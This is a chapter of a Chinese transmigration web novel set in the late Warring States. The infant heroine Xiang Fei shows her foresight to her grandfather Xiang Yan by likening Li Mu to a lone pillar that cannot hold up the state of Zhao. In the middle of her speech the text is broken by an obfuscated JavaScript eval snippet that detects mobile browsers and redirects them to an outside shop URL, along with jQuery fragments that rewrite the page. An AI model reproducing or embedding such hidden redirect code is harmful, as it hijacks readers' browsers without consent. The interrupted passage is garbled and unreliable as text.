项菲能坐起来自己爬行是在第七个月的时候。
正是腊月时节,天寒地冻,哪怕自己的屋子中央烧着炭火,那阴冷潮湿的风仍然从四面八方吹来,将项菲冻得瑟瑟发抖。
好在年关将近,一年四季在外头打仗的项家子弟也陆陆续续归了家。
而项燕就在其中,自那日宴席之上项菲石破天惊一般开口唤他之后,项菲便一跃成为了项燕如今的掌中宝。每日只要军务稍闲,定要将项菲抱到他的书房或者暖阁,放在身旁铺了厚厚毛皮的矮塌上,一边处理文书、一边和子侄幕僚议事一边逗弄她。
拜项燕所赐,项菲不满周岁已经将项家有头有脸的人认了个全乎。
而项菲也乐得借此机会多学习一点这个时代的信息。她像一个耐心的捕猎者,一点一点地解锁着自己的各项能力。
等到了第八个月的时候,她已经能清晰地说出比较完整的句子了,而且逻辑通顺。相比之下,她的同胞兄弟阿籍此刻还在牙牙学语。
两相对比,越发显得项菲不凡,那道士“天命贵不可言”的批语,在众人心中分量日重。
项菲也察觉到了项燕这额外的“培养”,项燕和心腹将领、谋士的密谈从来都没有避讳过她,虽然那些地名、人名、兵力、政局的对话,项菲大多都听不懂,只能灌一个耳熟。
直到那一天。
项燕书房的炭盆依旧烧得很旺,驱散了腊月的寒气。
而项燕正与项梁、项渠以及几位幕僚商议着什么,气氛略显凝重。一位刚从北方探听消息回来的谋士,面带忧色,压低声音禀报:“家主,最新密报,质于秦国的燕太子丹……逃回燕国了。”
燕丹?!
正佯装玩着自己手指的项菲,心头猛地一跳。
这个熟悉的名字唤起了项菲的记忆。
燕国太子丹,少时和秦王嬴政一同在赵国做过质子,后世野史记载二人年少时感情不错。项菲甚至还刷到过不少二人的同人文,均是什么青梅竹马成为宿敌相爱相杀之类的。总之说起这个人,总是逃不开后世中小学生都要背诵的荆轲刺秦,因此项菲也清楚这位倒霉蛋实则也是导致燕国被灭的关键人物。
于是项菲的耳朵立即竖了起来。
项菲刚从自己前世的记忆中回过神,就听到项燕沉重地叹了口气,那叹息里浸满了这位楚国老将的疲惫与洞见:“太子丹归燕,必不甘心俯首。燕国弱小,不足以抗秦,只怕会行险招……唉,如此一来,秦国东顾之心更切。赵国……只怕撑不了几时了。”
项燕没有明说,但项菲瞬间听懂了他的未尽之意。
秦国下一个重点打击目标,就是赵国!而这位与秦军鏖战多年、深知秦国虎狼之性的楚国老将,显然已对赵国的命运做出了悲观的预判。
知道后世历史的项菲赞同项燕的观点,可在场的其他人似乎都不这么想。
就比如她的伯父项梁此刻就有些不服,道:“父亲何必如此悲观?赵国尚有武安君李牧在!此人用兵如神,屡退秦军,有他在,赵国山河稳固,哪里就到山穷水尽的地步了?”
武安君李牧!
又一位在历史星空中璀璨夺目却又注定悲剧的名将!
项菲脑海中关于战国末年的记忆碎片飞速拼接。
是的,李牧是赵国最后的屏障,是让王翦都感到棘手的存在。
但是……
历史书上写得清清楚楚,李牧最终死于赵王迁的猜忌和秦国的反间计!赵国的灭亡,既亡于战场,也亡于庙堂!
这些人尚且不明白,赵国灭亡天下一统的洪流,岂是一个人能挽回的?哪怕这个人是武安君李牧,他也不能。
一股混合着先知先觉的无奈与对英雄末路的惋惜涌上心头,她完全没意识到,自己竟随着思绪,轻轻叹了一口气,还摇了摇头。
那神态,绝不属于一个八月大的婴儿。
书房内原本低沉而连续的议论声,在这声清晰的叹息中,戛然而止。
所有目光,齐刷刷地聚焦在了角落矮榻上那个穿着红色锦袄,像个雪团子般的小人儿身上。
项燕最先反应过来,他眼中精光一闪,忽然哈哈大笑,长身而起,几步走到榻边,一伸手便将项菲稳稳抱了起来:“我家阿飞这是在偷听我们这些大人讲话?”
他将项菲举到与自己视线平齐,饶有兴趣地打量着她那双过于清澈、此刻还带着未散思绪的眼睛,“嗯?你可听得懂我们在讲什么?小小年纪,叹得哪门子气,摇得哪门子头?”
项梁也笑着打圆场,试图缓和这有些奇异的气氛:“阿父说笑了,阿飞才多大,路都走不稳,哪能听懂这些天下兴亡的军国大事?只怕是坐久了,无聊了,或是饿了,想找乳母喝奶了。”
被举在空中的项菲闻言,忍不住朝项梁的方向翻了个小小的白眼,心中吐槽:你才想喝奶了!
她这灵动的小表情没能逃过项燕的眼睛。
老将军笑意更深,将她放回自己宽阔坚硬的膝头,却见这小孙女并未像寻常婴孩那样扭动或索抱,反而挣扎着,努力在他腿上坐正了身子,小小的脊背甚至试图挺直。
然后,她抬起脸,用那双黑葡萄似的眼睛,认真地看向项梁,奶声奶气,却字字清晰地说:“伯父,我不想喝奶。”
她顿了顿,似乎在组织更复杂的语言,目光扫过房中神色各异的众人,最后落回项燕探究的脸上,补充道:“我听得懂。”
一语既出,满室皆静。连炭火“噼啪”的爆响都显得突兀。
项燕脸上的笑容收敛了些,取而代之的是一种混合着惊异与兴味的深沉表情。他放缓了声音,如同对待一个平等的交谈者:“哦?那阿飞说说,你听懂了什么?刚才又为何叹气?”
项菲眨了眨眼,脸上露出孩童式的苦恼神情。她的小脑袋转来转去,最后视线定格在书房中央那根支撑着房梁的粗大楠木柱子上。
她伸出短短胖胖的手指,指向那根柱子,用稚嫩却笃定的声音说:“我听到,你们说,赵国有一根
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340417|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很厉害很厉害的柱子。”
然后,她的手指移开,虚虚地画了个圈,仿佛将那根柱子单独框了出来。“可是,只有一根柱子,”她的小眉头蹙起,做出了一个向下垮塌的手势,清晰地说,“支撑不了大房子。”
她抬起眼,看着项燕,仿佛在求证一个再简单不过的道理:“房子要塌了。所以,我叹气了呀。”
“……”
书房内,落针可闻。
项燕脸上的所有表情在这一刻全部凝固,旋即化为更深沉的震动。
他抱着项菲的手臂不自觉地收紧了些,那双看惯沙场血火、洞察人心鬼蜮的眼睛,死死锁在怀中孙女那稚嫩却异常平静的小脸上。
项渠和项梁更是目瞪口呆,如同被施了定身法。他们看看项菲,又看看那根被指过的柱子,再回想刚才议论的赵国局势……一股寒意夹杂着难以置信的激动,顺着脊椎窜了上来。
“独木难支……”项梁喃喃地重复着这个孩子用最质朴比喻道出的残酷真相,脸色微微发白。
项燕没有立刻说话。
他只是缓缓地将项菲再次举高,举到与自己目光平齐的位置,近得能看清她每一根纤长的睫毛。他的眼神无比认真,甚至带着一丝前所未有的凝重。
“我家阿飞……”他的声音有些干涩,充满了难以置信的感慨,“还未满周岁,竟已懂得‘独木难支’的道理?不,你不仅仅是懂得这个道理……”
项菲适时地露出了些许孩童应有的懵懂,歪了歪头,仿佛不理解祖父为何如此激动:“大父,这很难吗?柱子倒了,房子就会塌,阿菲看到的呀。”
“难?呵……”项燕短促地笑了一声,那笑声里满是沧桑与复杂的意味。
“道理本身是不难。难的是身处局中,手握重兵,肩负一国存亡时,还能看清这独木难支的绝境!难的是庙堂之上,那些醉生梦死、党同伐异之辈,宁愿自毁栋梁,也不愿承认大厦将倾!”
他的目光越过项菲的头顶,仿佛穿透了墙壁,投向了遥远的北方,那片战火即将燎原的土地。
项燕抱着项菲,像抱着一件稀世珍宝,又像抱着一个能与他共享这份沉重洞见的知己,声音低沉而辽远:“你说得对……我的小阿飞,你看得比许多人都清楚。”
“武安君李牧,确是天纵奇才,国之柱石。可惜,赵国之弊,在庙堂,不在边疆;在人心涣散,不在甲兵不利。他一己之力,如何撑得起那早已被蛀空、倾轧不休的朝堂?如何抵得过虎狼之秦的步步紧逼,更防不住来自背后的冷箭暗刀……”
项燕的声音越来越低,最终化作一声悠长的叹息,与项菲先前那声叹息,奇异地重合在了一起。
“赵国……大厦将倾矣。”
这一刻,书房内再无一人将项菲视为寻常婴孩。那根被稚嫩手指点过的柱子,仿佛成了一个烙印在每个人心头的预言符号。
项菲安静地待在祖父坚实的怀抱里,垂下眼帘,掩去了眸底深处一闪而过的清明与决断。